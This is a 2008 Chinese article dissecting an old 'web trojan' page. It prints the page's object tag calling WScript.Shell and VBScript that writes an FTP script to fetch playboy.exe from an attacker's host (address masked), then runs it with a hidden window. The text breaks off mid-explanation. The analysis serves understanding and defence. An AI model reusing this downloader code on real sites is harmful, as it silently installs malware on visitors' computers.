分享
 
 
 

揭开“远古”网页木马的神秘面纱

王朝html/css/js·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

在现时的这个资讯发达的年代,会做网页的人就不少了,但会做网页木马的人又有多少呢?(PS:一定不会比会做网页的人多:P)

“做网页木马难吗?”

“如何做啊?需要一些什么工具吗?”

......

然后论坛者的‘跟帖’更是众说纷纭。也许你只知道是浏览了某个网站的网页,自己的机器就会“中标”了,至于为什么会“中标”,它的原理是什么,这些也许你都没有再“追寻”下去了(或许你什么都知道,如果是的话,下面这篇烂文你就不用再看下去了:P)。

最近很幸运,笔者小神从一封可疑的、没有署名的Email中得到了一个带俗称‘网页木马’的url路径地址(看来小神的仇家还真不少,以后出门要小心了-_-b)。既然说是可疑当然就不能直接打开来看了,但好奇心又促使着我进入那个网址,几番“挣扎”后决定使用特殊一些的工具上去查看一下这个url的“虚实”。

(使用“火眼”打开该url地址)

(PS:上图的遮盖部分为带网页木马的网站IP地址)

-------------------------------------------------------------------------------------------------------------

附录:“火眼”的下载地址:

http://www.hfjinwei.com/temp/huoyan.rar

注:“火眼”是一只网页源码查看器,另外还附带一些特殊的功能,如查找恶意网页代码与自定义恶意网页代码查找等。

-------------------------------------------------------------------------------------------------------------

从图中可以清楚地看到这个静态网页的结构。因为只有简短的几行,因此没有什么可疑的地方,除了:

〈object data="http://该主机的IP地址/playboy.test"〉〈/object〉

〈embed align="center" src="http://该主机的IP地址/gei.swf" width="500" height="500" border="1"〉〈/embed〉

这两行标签。瞎了眼的人都能看得出来就是playboy.test与gei.swf这两个文件最为可疑了(用语夸张了点吧:P)。

gei.swf是个FLASH动画文件,但为了安全起见还是用flashget通过它的url把它DOWNLOAD下来吧(毕竟现在的FLASH跨站攻击是挺厉害的),然后用flashhacker将其反‘编译’,无收获(因为FLASH跨站攻击的内容超出了本文的范围,因此就不再多作解析了,大家有空可以去查阅相关的资料)。下面接着看playboy.test。使用相同的方法用“火眼”查看这个文件。

(PS:上图的遮盖部分为带网页木马的网站IP地址,留意看看窗体下方的“火眼”分析提示-_-b,所以说有的时候不要麻木地相信所有的工具......)

仔细看一下吧,其实这整个“网页木马”的‘玄机’都暴露在playboy.test这个HTML中了。为什么说它是HTML文件呢?它的扩展名不是*.test吗?其实这是木马安放者用来迷惑大家的,因为当浏览器在无法查别该文件是什么类型时就会第一时间尝试以HTML的格式来打开它了,这样刚好应了攻击者的要求。

现在分析一下它的代码。

首先从第三行开始看起(第一、二行为基本的HTML标签,大伙有兴趣可以查阅相关的教程):

〈object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'〉〈/object〉object标签用于在HTML文件中定义一个ActiveX外部对象类,以此以便后文调用该对象。从上面这一个标签对可以看出该定义的对象名为‘wsh’,至于它是什么对象类就不清楚了。如何是好呢?既然你不知道,那执行这段脚本的WSH(Windows Scripting Host)又是怎么知道的呢?

-------------------------------------------------------------------------------------------------------------

提示:什么是WSH(Windows Scripting Host)?

答:Windows Scripting Host这个概念最早出现于Windows 98操作系统。大家一定还记得MS-Dos下的批处理命令,它曾有效地简化了我们的工作、带给我们方便,这一点就有点类似于如今大行其道的脚本语言。但就算我们把批处理命令看成是一种脚本语言,那它也是98版之前的Windows操作系统所唯一支持的“脚本语言”。而此后随着各种真正的脚本语言不断出现,批处理命令显然就很是力不从心了。面临这一危机,微软在研发Windows 98时,为了实现多类脚本文件在Windows界面或Dos命令提示符下的直接运行,就在系统内植入了一个基于32位Windows平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。WSH架构于ActiveX之上,通过充当ActiveX的脚本引擎控制器,WSH为Windows用户充分利用威力强大的脚本指令语言扫清了障碍。再具体一点描述:你自己编写了一个脚本文件,如后缀为*.vbs或*.js的文件,然后在 Windows 下双击并执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个程序,就是Windows Scripting Host,程序执行文件名为Wscript.exe(若是在命令行下,则为Cscript.exe)。

-------------------------------------------------------------------------------------------------------------

WSH是通过该object标签的classid属性来识别它所调用的ActiveX外部对象类的,classid也叫做类ID,是每一个WIN32系统所能识别的ActiveX对象类的唯一ID号。现在我们知道了ActiveX类ID号,如何能知道它是什么ActiveX对象类呢?很简单,大伙跟小神一块打开注册表。

进入注册表以后,按菜单栏的“编辑”-“查找...”(如下图)。

在“查找目标”中输入我们已经知道的那个classid值,按“查找下一个”按钮。在‘漫长’的等待过程过后...(得到下图)

(从右边的键值显示区中看到这个是什么对象类了吧?)

从上图中我们可以看出木马安放者让我们调用的ActiveX对象类是“Windows Script Host Shell”对象类,这个类出了名是骇客最喜欢用的类之一(看到这里已经可以猜到这个网页不是什么好东西了:P)。其实楼上的那对object标签也可以直接放入SCRIPT标签对中,用VBScript可以写成:

Dim wsh

Set wsh=CreateObject("WScript.Shell")

说说重点吧,这个类最“骇人听闻”的就是它的其中一个最主要的调用“方法”---run方法,格式:wsh.Run("程序命令行")

使用它就能在网页的解析端(客户端,也就是浏览该网页的用户主机上)随意地执行所有级别的执行程序了。(PS:留意一下,下面你就可以看到这个方法的调用过程了:P)

现在让我们回到playboy.test分析部分,第四行开始的是SCRIPT的标签对及其内容部分了,在SCRPIT标签中定义了标签对中的解释脚本为VBScript。SCRIPT标签对的内容(详细请看下面每条语句后面紧跟的解释部分):

Dim fs,t

'声明两个变量fs与t

Set fs=CreateObject("Scripting.FileSystemObject")

'定义变量fs为Scripting.FileSystemObject类对象

Set

t=fs.CreateTextFile("playboy.txt,True)

'定义变量t为新建文档playboy.txt的操作句柄对象

t.WriteLine("open 放置木马的FTP主机地址")

'向playboy.txt写入一个文本

t.WriteLine("ftp")

t.WriteLine("any@any.net")

t.WriteLine("bin")

t.WriteLine("lcd c:\")

t.WriteLine("get playboy.exe")

t.WriteLine("bye")

t.Close

'关闭文件操作句柄

为了实验一下这段代码的功能,小神当即将上面的代码拷贝下来,放在一个扩展名为vbs(VBSCRIPT脚本)的ASCII文件文件中,并在cmd shell下运行,随即发现在该VBSCRIPT脚本的同一目录下生成一个名为playboy.txt的文本文件。打开后:

(遮盖部分为放置木马的FTP主机地址)

现在知道那段VBS代码是干什么的了吧?至于它所生成的这个playboy.txt都有什么作用呢?朋友,继续往下看吧。

wsh.Run "ftp -s:playboy.txt",0,true

这一行调用了三个参数的run方法格式,用于使用刚刚生成的脚本型文档playbox.txt与FTP服务器进行交互式通信。

-------------------------------------------------------------------------------------------------------------

附录:关于WScript.Shell的Run方法的三参数格式如下:

WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn])

参数

strCommand

在 strCommand 参数内部的环境变量被自动扩展。

intWindowStyle

这是为新进程在STARTUPINFO结构内设置的wShowWindow元素的值。其意义与ShowWindow中的nCmdShow参数相同,可取以下值之一。

SW_HIDE

0 隐藏窗口并激活另一窗口。

SW_MINIMIZE

6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。

SW_RESTORE

9 激活并显示窗口。若窗口是最小化或最大化,则恢复到原来的大小和位置。在还原应用程序的最小化窗口时,应指定该标志。

SW_SHOW

5 以当前大小和位置激活并显示窗口。

SW_SHOWMAXIMIZED

3 激活窗口并以最大化显示该窗口。

SW_SHOWMINIMIZED

2 激活窗口并以最小化显示该窗口。

SW_SHOWMINNOACTIVE

7 最小化显示窗口。活动窗口保持活动。

SW_SHOWNA

8 以当

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有